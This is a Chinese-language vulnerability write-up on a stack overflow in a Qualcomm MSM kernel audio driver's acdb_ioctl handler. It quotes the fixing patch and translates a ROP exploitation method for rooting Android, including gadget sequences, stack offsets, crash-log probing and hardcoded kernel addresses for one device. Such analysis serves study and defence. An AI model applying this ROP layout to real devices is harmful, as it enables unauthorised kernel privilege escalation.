这块代码可以在9008中招到
先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b
if ((size <= 0) || (size > sizeof(data))) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
}
补丁对 ioctl 传入的data大小做了校验,如果超出MAX_IOCTL_DATA个u32的数据,直接返回失败。在我这,这个值是30*32
若不校验这个size大小,攻击者可以构造任意大小的数据,造成栈溢出,控制程序指针
if (copy_from_user(&size, (void *) arg, sizeof(size))) {
result = -EFAULT;
goto done;
}
if ((size <= 0) || (size > sizeof(data))) {
pr_err("%s: Invalid size sent to driver: %d\n",__func__, size);
result = -EFAULT;
goto done;
}
if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { //栈溢出
pr_err("%s: fail to copy table size %d\n", __func__, size);
result = -EFAULT;
goto done;
}
利用方法:
https://github.com/android-rooting-tools/android_run_root_shell
由于使用ROP,所以属于一个适配有点麻烦的漏洞了
这篇文章讲了利用方法,是一段rop https://gist.github.com/fi01/5857693
由于是日文的,简单翻译下
===================================================================
-
原来的流程
do_vfs_ioctl调用acdb_ioctl后返回
do_vfs_ioctl:
STMPW [SP], { R4-R9, LR }
...
BL acdb_ioctl
...
ADD SP, SP, #$44 // (2)
LDMUW [SP], { R4-R9, PC } // (1)
- 我们替换之后的流程
触发任意地址写的漏洞,以获得root
然后调整好正确的栈位置,最后返回(1)的流程
-
任意地址写漏洞的触发
acdb_ioctl其中一段,可以获得控制PC的机会。修改寄存器的位置是 (3),这里可以操作R4-PC的所有数值了。然后把R9的内容写入R5,触发成功
acdb_ioctl:
...
ADD SP, SP, #$84
LDMUW [SP], { R4-R11, PC } // (3)
首先控制PC跳到这里(pc1)
STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)
-
栈位置的修正
执行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC。(pc2)
(6)这里也要处理一下平衡堆栈,最后返回(2)那里去
ADD SP, SP, #$24 // (6)
LDMUW [SP], { R4-R9, PC }
- 栈地址的替换
实际栈的位置和p->data的位置需要硬编码适配。
p->data[...]的値需要初始化的时候设置。
硬编码的地址请在pc上通过崩溃的日志分析。
p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个例子中,PC在&p->data[0x9c]的位置。
例:
ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860
-
设置好堆栈布局
要確認PC原始的数值,以便正确返回
((unsigned int)&p->data[0x80]) = value; //r5: PC - 47
((unsigned int)&p->data[0x90]) = address; //r9: PC - 43
((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8
- 为了在do_vfs_ioctl、acdb_ioctl这两个函数执行完后内核无异常,寄存器也需要适配。
(6)那个地方stack加的数值也可能也要硬编码适配
注:本文硬编码对应
DEVICE_SO05D_7_0_D_1_137, { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } }